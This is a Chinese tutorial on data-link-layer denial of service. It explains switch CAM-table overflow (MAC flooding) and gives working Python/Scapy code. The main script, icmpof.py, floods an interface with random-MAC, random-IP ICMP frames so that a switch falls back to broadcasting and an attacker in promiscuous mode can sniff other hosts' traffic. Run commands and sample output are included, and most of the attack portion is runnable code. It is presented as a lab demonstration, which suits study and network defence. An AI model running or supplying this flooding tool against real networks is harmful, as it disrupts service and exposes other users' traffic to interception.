DoS:数据链路层DoS用例


DoS(Denial of Services, DoS)拒绝服务攻击使计算机或网络无法提供正常的服务,是黑客常用的攻击手段之一。常见的DoS攻击包括计算机网络带宽攻击和连通性攻击两种类型。常用的拒绝服务攻击手段包括:同步洪流、WinNuke、死亡之PING、Echl攻击、ICMP/SMURF、Finger炸弹、Land攻击、Ping洪流、Rwhod、tearDrop、TARGA3、UDP攻击、OOB等。黑客可能利用TCP/IP协议层中的数据链路层、网络层、传输层和应用层各种协议漏洞发起拒绝服务攻击。

数据链路层DoS

数据链路层中拒绝服务攻击的方式一般很少为人所熟知。数据链路层拒绝服务攻击的主要目标为二层交换机。数据链路层的拒绝服务攻击就是通过伪造请求主机的MAC地址信息,使得交换机内部CAM短时间填满,失去交换机本身的记忆功能,退化成集线器,当接收到正常数据包时,会将全部数据以广播的形式发送出去,此时若攻击者将自己的主机设置为混杂模式,就可以监听网络中的其他主机接收的数据了。

实验环境:

OS: macOS Monterey Version 12.3.1(英文版)

OS: Linux kali 5.10.0

IDE: PyCharm 2020.1

功能演示:

1)构造随机的MAC地址

利用Scapy自带的库函数RandMAC()

代码如下:

#_*_coding:utf-8_*_
# 作者      :liuxiaowei
# 创建时间   :4/25/22 9:27 PM
# 文件      :macof.py
# IDE      :PyCharm

from scapy.all import *
import time
while(1):
    packet = Ether(src=RandMAC(), dst=RandMAC())
    time.sleep(1)
    print(packet.summary())

结果如下:

(venv) (base) liuxiaowei@MacBookAir 数据链路层DoS % python3 macof.py 
e7:01:d5:83:97:db > fb:13:5f:e7:8c:69 (0x9000)
01:81:43:3f:cc:80 > cb:1d:9b:f8:38:c2 (0x9000)
16:81:bc:52:09:f5 > 8d:be:18:61:2d:e5 (0x9000)
63:c1:a2:c9:af:d4 > a8:1f:89:46:16:ec (0x9000)
c8:c8:9c:5e:23:ad > 1a:0d:6f:87:71:e5 (0x9000)
e8:9e:e1:ea:65:b8 > 67:36:89:26:96:74 (0x9000)
58:51:09:6d:27:4c > bc:1e:2b:31:37:f1 (0x9000)
2f:d4:82:c6:d1:51 > 7d:a7:69:56:ee:90 (0x9000)
9a:dc:ea:56:42:6c > 6a:52:59:94:cd:48 (0x9000)
10:ae:b1:f9:05:6b > b8:47:6e:62:92:de (0x9000)
............

2) ICMP数据包为例

当路由器接收到包含随机生成的IP地址和MAC地址的数据包时,交换机查询CAM,若不存在该信息,就会不断进行记录。短时间内,大量请求会导致CAM被填满,失去交换机原有的功能。

示例代码如下:

from scapy.all import *
import optparse

def attack(interface):
    pkt = Ether(src=RandMAC(), dst=RandMAC())/IP(src=RandIP(), dst=RandIP())/ICMP()
    sendp(pkt, iface=interface)

def main():
    parser = optparse.OptionParser('%prog ' + '-i interface')
    parser.add_option('-i', dest='interface', default='eth0', type='string', help='Interface')
    (options, args) = parser.parse_args()
    interface = options.interface
    try:
        while True:
            attack(interface)
    except KeyboardInterrupt:
        print('-------------------')
        print('Finished!')

if __name__ == '__main__':
    main()

在kali系统命令行执行如下命令:

┌──(root💀kali)-[~/Desktop]
└─# python3 icmpof.py -i eth0

运行结果如下图:

DoS:数据链路层DoS用例_Python